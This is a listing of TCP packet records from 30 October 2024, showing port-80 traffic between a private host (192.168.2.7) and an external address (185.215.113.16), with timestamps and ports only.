Oct 30, 2024 04:35:24.005719900 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.005742073 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.045871973 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.045885086 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.045897007 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.045950890 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.045981884 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.049212933 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.049242020 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.049256086 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.049273014 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.049282074 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.049304962 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.049346924 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.049356937 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.049396992 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.049403906 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.049417019 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.049443960 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.049462080 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.049498081 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.049726009 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.049772024 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.049783945 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.049787998 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.049818993 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.049824953 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.049833059 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.049870968 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.049913883 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.050220013 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.050246000 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.050257921 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.050268888 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.050296068 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.050314903 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.050359964 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.050549030 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.050606966 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.050607920 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.050618887 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.050652027 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.050679922 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.050679922 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.050699949 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.050718069 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.050723076 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.050750971 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.050777912 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.051196098 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.051208973 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.051222086 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.051248074 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.051290989 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.090595007 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.090611935 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.090622902 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.090761900 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.090773106 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.090783119 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.090787888 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.090794086 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.090923071 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.123672009 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.123684883 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.123696089 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.123708010 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.123718977 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.123739004 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.123740911 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.123754978 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.123785019 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.123790979 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.123802900 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.123823881 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.123862028 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.123871088 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.123881102 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.123891115 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.123913050 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.123924017 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.123938084 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.124360085 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.124371052 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.124387026 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.124399900 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.124420881 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.124449968 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.164464951 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.164618015 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.164628029 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.164638996 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.164639950 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.164773941 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.167660952 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.167671919 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.167747021 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.167804003 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.167815924 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.167828083 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.167840004 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.167874098 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.167932987 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.168056011 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.168103933 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.168117046 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.168129921 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.168215990 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.168287992 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.168344021 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.168351889 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.168355942 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.168390989 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.168404102 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.168430090 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.168515921 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.168771029 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.168817997 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.168843031 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.168884993 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.168932915 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.168956995 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.168968916 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.168977976 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.168982029 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.169050932 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.169245958 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.169270992 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.169281960 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.169321060 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.169369936 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.169384003 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.169399977 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.169413090 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.169425964 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.169435024 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.169492960 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.209105015 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.209131002 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.209146023 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.209156990 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.209224939 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.209263086 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.209275007 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.209367037 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.209378958 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.209393978 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.209526062 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.242109060 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.242135048 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.242145061 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.242202044 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.242208004 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.242216110 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.242295980 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.242372036 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.242399931 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.242412090 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.242435932 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.242438078 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.242527962 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.242763042 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.242779970 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.242791891 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.242834091 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.242846012 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.242846012 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.242908955 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.283166885 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.283183098 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.283194065 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.283293009 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.286371946 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.286384106 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.286412001 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.286423922 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.286463022 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.286470890 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.286519051 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.286520004 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.286531925 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.286571980 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.286622047 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.286689043 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.286714077 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.286725044 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.286789894 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.286865950 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.286937952 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.286984921 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.287002087 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.287003040 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.287039042 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.287051916 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.287084103 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.287173986 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.287456989 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.287470102 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.287496090 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.287508011 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.287529945 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.287585974 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.287754059 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.287808895 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.287821054 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.287827015 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.287888050 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.287903070 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.287909031 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.287915945 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.287990093 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.288376093 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.288388014 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.288398981 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.288460016 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.327702045 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.327721119 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.327730894 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.327785969 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.327795029 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.327795029 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.327837944 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.327847004 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.327888966 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.327924013 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.327975988 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.327984095 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.327996016 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.328017950 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.328022957 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.328042984 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.328052044 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.328279972 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.328291893 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.328304052 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.328330040 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.328341961 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.361036062 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.361072063 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.361090899 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.361114979 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.361119032 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.361139059 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.361139059 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.361182928 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.361215115 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.361227036 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.361238003 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.361258030 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.361263037 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.361280918 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.361295938 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.361314058 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.361330032 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.361341953 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.361361980 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.361385107 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.361756086 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.361780882 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.361804008 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.361804962 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.361819029 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.361848116 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.401671886 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.401685953 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.401699066 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.401794910 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.404813051 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.404871941 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.404896975 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.404898882 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.404917002 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.404970884 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.404994011 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.405014992 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.405029058 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.405095100 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.405225992 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.405291080 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.405303001 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.405303955 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.405383110 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.405447960 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.405493975 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.405509949 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.405579090 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.405591965 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.405632019 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.405644894 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.405647993 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.405675888 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.405702114 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.405780077 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.405926943 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.405972958 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.405988932 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.406053066 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.406069994 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.406117916 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.406119108 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.406132936 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.406193018 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.406207085 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.406215906 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.406219006 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.406308889 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.406702042 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.406714916 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.406727076 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.406790018 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.406821966 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.406836033 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.406847954 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.406886101 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.406939030 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.446333885 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.446351051 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.446362019 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.446460962 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.446651936 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.446679115 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.446691036 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.446733952 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.446796894 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.446810007 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.446821928 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.446832895 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.446835995 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.446912050 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.446935892 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.447002888 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.447093010 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.447175026 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.447177887 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.447191000 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.447294950 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.479567051 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.479583025 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.479610920 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.479624033 CET	80	49983	185.215.113.16	192.168.2.7
